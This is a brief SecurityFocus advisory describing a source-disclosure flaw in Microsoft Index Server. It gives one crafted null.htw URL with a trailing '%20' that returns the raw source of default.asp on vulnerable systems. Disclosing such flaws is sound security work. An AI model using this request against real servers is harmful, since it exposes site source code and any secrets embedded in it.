MS Index Server '%20' ASP Source Disclosure Vulnerability

Requesting a URL like the following will return the source of default.asp on a vulnerable system:

http://target/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full


 

Privacy Statement
Copyright 2010, SecurityFocus